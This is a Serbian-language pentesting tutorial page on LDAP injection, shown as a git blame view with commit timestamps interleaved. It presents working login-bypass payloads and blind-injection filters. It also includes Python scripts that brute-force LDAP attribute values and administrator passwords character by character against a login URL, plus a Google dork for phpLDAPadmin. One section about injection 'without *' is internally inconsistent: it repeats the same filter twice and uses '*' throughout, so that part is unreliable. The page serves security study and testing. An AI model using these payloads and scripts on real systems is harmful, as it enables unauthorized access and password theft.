hacktricks/pentesting-web/ldap-injection.md

303 lines
14 KiB
Markdown
Raw Normal View History

2022-04-30 20:31:18 +00:00
# LDAP Injection
2022-04-28 16:01:33 +00:00
2022-05-07 13:38:40 +00:00
## LDAP Injection
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 13:11:20 +00:00
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:11:20 +00:00
Drugi načini podrške HackTricks-u:
2024-02-03 14:45:32 +00:00
2024-02-10 13:11:20 +00:00
* Ako želite da vidite **vašu kompaniju oglašenu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
2022-04-28 16:01:33 +00:00
</details>
2022-07-21 20:26:09 +00:00
<img src="../.gitbook/assets/i3.png" alt="" data-size="original">\
2024-02-10 13:11:20 +00:00
**Bug bounty savet**: **registrujte se** za **Intigriti**, premium **platformu za bug bounty kreiranu od strane hakera, za hakere**! Pridružite nam se na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) danas i počnite da zarađujete nagrade do **$100,000**!
2022-04-30 20:31:18 +00:00
{% embed url="https://go.intigriti.com/hacktricks" %}
2022-05-07 13:38:40 +00:00
## LDAP Injection
2022-04-30 20:31:18 +00:00
2022-05-07 13:38:40 +00:00
### **LDAP**
2024-02-10 13:11:20 +00:00
**Ako želite da saznate šta je LDAP, posetite sledeću stranicu:**
2022-05-01 13:25:53 +00:00
{% content-ref url="../network-services-pentesting/pentesting-ldap.md" %}
[pentesting-ldap.md](../network-services-pentesting/pentesting-ldap.md)
{% endcontent-ref %}
2024-02-10 13:11:20 +00:00
**LDAP Injection** je napad koji cilja veb aplikacije koje konstruišu LDAP izjave na osnovu korisničkog unosa. Ovo se dešava kada aplikacija **nepravilno sanitizuje** unos, omogućavajući napadačima da **manipulišu LDAP izjavama** putem lokalnog proksija, što može dovesti do neovlašćenog pristupa ili manipulacije podacima.
2023-02-14 11:55:05 +00:00
{% file src="../.gitbook/assets/en-blackhat-europe-2008-ldap-injection-blind-ldap-injection.pdf" %}
**Filter** = ( filtercomp )\
**Filtercomp** = and / or / not / item\
**And** = & filterlist\
**Or** = |filterlist\
**Not** = ! filter\
**Filterlist** = 1\*filter\
**Item**= simple / present / substring\
**Simple** = attr filtertype assertionvalue\
**Filtertype** = _'=' / '\~=' / '>=' / '<='_\
**Present** = attr = \*\
**Substring** = attr ”=” \[initial] \* \[final]\
**Initial** = assertionvalue\
**Final** = assertionvalue\
2024-02-10 13:11:20 +00:00
**(&)** = Apolutna ISTINA\
**(|)** = Apolutna LAŽ
2024-02-10 13:11:20 +00:00
Na primer:\
`(&(!(objectClass=Impresoras))(uid=s*))`\
`(&(objectClass=user)(uid=*))`
2024-02-10 13:11:20 +00:00
Možete pristupiti bazi podataka, koja može sadržati informacije različitih tipova.
2024-02-10 13:11:20 +00:00
**OpenLDAP**: Ako stignu 2 filtera, izvršava se samo prvi.\
**ADAM ili Microsoft LDS**: Sa 2 filtera izbacuju grešku.\
**SunOne Directory Server 5.0**: Izvršava oba filtera.
2024-02-10 13:11:20 +00:00
**Veoma je važno poslati filter sa ispravnom sintaksom ili će biti izbačena greška. Bolje je poslati samo 1 filter.**
2024-02-10 13:11:20 +00:00
Filter mora početi sa: `&` ili `|`\
Primer: `(&(directory=val1)(folder=public))`
`(&(objectClass=VALUE1)(type=Epson*))`\
`VALUE1 = *)(ObjectClass=*))(&(objectClass=void`
2024-02-10 13:11:20 +00:00
Zatim: `(&(objectClass=`**`*)(ObjectClass=*))`** će biti prvi filter (onaj koji se izvršava).
2024-02-10 13:11:20 +00:00
### Bypassovanje prijave
2024-02-10 13:11:20 +00:00
LDAP podržava nekoliko formata za skladištenje lozinke: clear, md5, smd5, sh1, sha, crypt. Dakle, moguće je da bez obzira na to šta unesete unutar lozinke, ona će biti heširana.
```bash
user=*
password=*
--> (&(user=*)(password=*))
# The asterisks are great in LDAPi
```
```bash
user=*)(&
password=*)(&
--> (&(user=*)(&)(password=*)(&))
```
```bash
user=*)(|(&
pass=pwd)
--> (&(user=*)(|(&)(pass=pwd))
```
```bash
user=*)(|(password=*
password=test)
--> (&(user=*)(|(password=*)(password=test))
```
```bash
user=*))%00
pass=any
--> (&(user=*))%00 --> Nothing more is executed
```
```bash
user=admin)(&)
password=pwd
--> (&(user=admin)(&))(password=pwd) #Can through an error
```
```bash
username = admin)(!(&(|
pass = any))
--> (&(uid= admin)(!(& (|) (webpassword=any)))) —> As (|) is FALSE then the user is admin and the password check is True.
```
```bash
username=*
password=*)(&
--> (&(user=*)(password=*)(&))
```
```bash
username=admin))(|(|
password=any
--> (&(uid=admin)) (| (|) (webpassword=any))
```
2024-02-10 13:11:20 +00:00
#### Liste
2022-04-30 20:31:18 +00:00
* [LDAP\_FUZZ](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_FUZZ.txt)
2024-02-10 13:11:20 +00:00
* [LDAP atributi](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt)
* [LDAP PosixAccount atributi](https://tldp.org/HOWTO/archived/LDAP-Implementation-HOWTO/schemas.html)
2024-02-10 13:11:20 +00:00
### Slepa LDAP ubacivanje
2024-02-10 13:11:20 +00:00
Možete prisiliti lažne ili tačne odgovore da proverite da li se vraćaju podaci i potvrdite moguću slepu LDAP ubacivanje:
```bash
#This will result on True, so some information will be shown
Payload: *)(objectClass=*))(&objectClass=void
Final query: (&(objectClass= *)(objectClass=*))(&objectClass=void )(type=Pepi*))
```
```bash
#This will result on True, so no information will be returned or shown
Payload: void)(objectClass=void))(&objectClass=void
Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=Pepi*))
```
2024-02-10 13:11:20 +00:00
#### Dump podataka
2024-02-10 13:11:20 +00:00
Možete iterirati preko ASCII slova, brojeva i simbola:
```bash
(&(sn=administrator)(password=*)) : OK
(&(sn=administrator)(password=A*)) : KO
(&(sn=administrator)(password=B*)) : KO
...
(&(sn=administrator)(password=M*)) : OK
(&(sn=administrator)(password=MA*)) : KO
(&(sn=administrator)(password=MB*)) : KO
...
```
2024-02-10 13:11:20 +00:00
### Skripte
2024-02-10 13:11:20 +00:00
#### **Otkrivanje validnih LDAP polja**
2024-02-10 13:11:20 +00:00
LDAP objekti **podrazumevano sadrže nekoliko atributa** koji se mogu koristiti za **čuvanje informacija**. Možete pokušati **brute-force metodom izvući te informacije** iz svih tih polja. Možete pronaći listu [**podrazumevanih LDAP atributa ovde**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt).
```python
#!/usr/bin/python3
import requests
import string
from time import sleep
import sys
proxy = { "http": "localhost:8080" }
url = "http://10.10.10.10/login.php"
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",]
for attribute in attributes: #Extract all attributes
2024-02-10 13:11:20 +00:00
value = ""
finish = False
while not finish:
for char in alphabet: #In each possition test each possible printable char
query = f"*)({attribute}={value}{char}*"
data = {'login':query, 'password':'bla'}
r = requests.post(url, data=data, proxies=proxy)
sys.stdout.write(f"\r{attribute}: {value}{char}")
#sleep(0.5) #Avoid brute-force bans
if "Cannot login" in r.text:
value += str(char)
break
if char == alphabet[-1]: #If last of all the chars, then, no more chars in the value
finish = True
print()
```
#### **Posebna slepa LDAP ubacivanje (bez "\*")**
------------------------------------------------------------------------------------------------------------------------------
##### **Opis**
LDAP (Lightweight Directory Access Protocol) je protokol koji se koristi za pristupanje i manipulaciju informacijama u direktorijumima. LDAP ubacivanje je tehnika napada koja omogućava napadaču da izvrši zlonamerni kod ubacivanjem zlonamernih LDAP filtera u aplikaciju koja koristi LDAP za autentifikaciju ili pretragu korisnika.
Uobičajena metoda LDAP ubacivanja koristi specijalne znakove poput "\*" kako bi se izvršio napad. Međutim, u nekim slučajevima, aplikacija može biti konfigurisana tako da ne dozvoljava korišćenje ovih specijalnih znakova. U takvim situacijama, može se koristiti posebna slepa LDAP ubacivanje.
Posebna slepa LDAP ubacivanje se koristi kada aplikacija ne prikazuje rezultate LDAP pretrage direktno na korisničkom interfejsu. Umesto toga, aplikacija prikazuje samo odgovor "da" ili "ne" na osnovu rezultata pretrage. Ova tehnika se koristi za izvršavanje slepog ubacivanja, gde napadač može postaviti uslov koji će biti ispunjen samo ako je ubacivanje uspešno.
------------------------------------------------------------------------------------------------------------------------------
##### **Napadni vektor**
Napadač može iskoristiti posebnu slepu LDAP ubacivanje tako što će ubaciti zlonamerni LDAP filter u polje za pretragu ili autentifikaciju. Na primer, napadač može pokušati da ubaci sledeći filter:
```
(&(username=admin)(password=*)(sn=Smith))
```
Ako aplikacija ne prikazuje rezultate pretrage, ali prikazuje "da" ili "ne" na osnovu rezultata, napadač može iskoristiti sledeći filter kako bi proverio da li postoji korisnik sa prezimenom "Smith":
```
(&(username=admin)(password=*)(sn=Smith))
```
Ako aplikacija prikaže "da", to znači da postoji korisnik sa prezimenom "Smith". Ako prikaže "ne", to znači da takav korisnik ne postoji.
Napadač može koristiti ovu tehniku za izvršavanje različitih vrsta napada, kao što su izvlačenje informacija o korisnicima, preuzimanje lozinki ili izvršavanje komandi na serveru.
------------------------------------------------------------------------------------------------------------------------------
##### **Zaštita**
2024-02-10 13:11:20 +00:00
Da bi se zaštitili od posebne slepe LDAP ubacivanja, preporučuje se sledeće:
- Validacija i sanitizacija korisničkog unosa: Aplikacija treba da validira i sanitizuje korisnički unos kako bi se sprečilo ubacivanje zlonamernih LDAP filtera.
- Korišćenje parametrizovanih upita: Umesto da se koristi konkatenacija stringova za formiranje LDAP filtera, preporučuje se korišćenje parametrizovanih upita kako bi se sprečilo ubacivanje zlonamernog koda.
- Ograničavanje privilegija: Aplikacija treba da ima minimalne privilegije za pristup LDAP direktorijumu kako bi se smanjio rizik od zloupotrebe.
------------------------------------------------------------------------------------------------------------------------------
##### **Reference**
- [LDAP Injection](https://owasp.org/www-community/attacks/LDAP_Injection)
- [LDAP Injection Cheat Sheet](https://www.netsparker.com/blog/web-security/ldap-injection-cheat-sheet/)
```python
#!/usr/bin/python3
import requests, string
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
flag = ""
for i in range(50):
2024-02-10 13:11:20 +00:00
print("[i] Looking for number " + str(i))
for char in alphabet:
r = requests.get("http://ctf.web??action=dir&search=admin*)(password=" + flag + char)
if ("TRUE CONDITION" in r.text):
flag += char
print("[+] Flag: " + flag)
break
```
2024-02-10 13:11:20 +00:00
### Google Dorks
2022-05-07 13:38:40 +00:00
### Google Dorks
2024-02-10 13:11:20 +00:00
Google Dorks su predefinisane pretrage koje se koriste za pronalaženje ranjivosti na veb stranicama. Ove pretrage se koriste za pronalaženje specifičnih informacija koje su javno dostupne na internetu. Google Dorks se mogu koristiti za pronalaženje osetljivih podataka, kao što su lozinke, korisnička imena, baze podataka i druge informacije koje mogu biti iskorišćene za napad.
Evo nekoliko primera Google Dorks pretraga:
- `site:example.com intext:password` - Pretraga za stranice koje sadrže reč "password" na sajtu example.com.
- `filetype:sql intext:username password` - Pretraga za SQL fajlove koji sadrže reči "username" i "password".
- `inurl:admin.php` - Pretraga za stranice koje imaju "admin.php" u URL-u.
- `intitle:"index of" inurl:ftp` - Pretraga za FTP servere koji imaju "index of" u naslovu stranice.
Ove pretrage mogu biti veoma korisne za pronalaženje ranjivosti na veb stranicama i otkrivanje osetljivih informacija. Međutim, važno je napomenuti da je korišćenje Google Dorks pretraga zakonito samo ako se koristi u okviru etičkog hakovanja ili pentestiranja.
```bash
intitle:"phpLDAPadmin" inurl:cmd.php
```
2024-02-10 13:11:20 +00:00
### Dodatni Payloadi
2022-05-08 22:42:39 +00:00
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
2022-07-21 20:26:09 +00:00
<img src="../.gitbook/assets/i3.png" alt="" data-size="original">\
2024-02-10 13:11:20 +00:00
**Bug bounty savet**: **registrujte se** na **Intigriti**, premium **platformu za bug bounty kreiranu od strane hakera, za hakere**! Pridružite nam se na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) danas i počnite da zarađujete nagrade do **$100,000**!
2022-05-08 22:42:39 +00:00
{% embed url="https://go.intigriti.com/hacktricks" %}
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 13:11:20 +00:00
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:11:20 +00:00
Drugi načini da podržite HackTricks:
2024-02-03 14:45:32 +00:00
2024-02-10 13:11:20 +00:00
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
2022-04-28 16:01:33 +00:00
</details>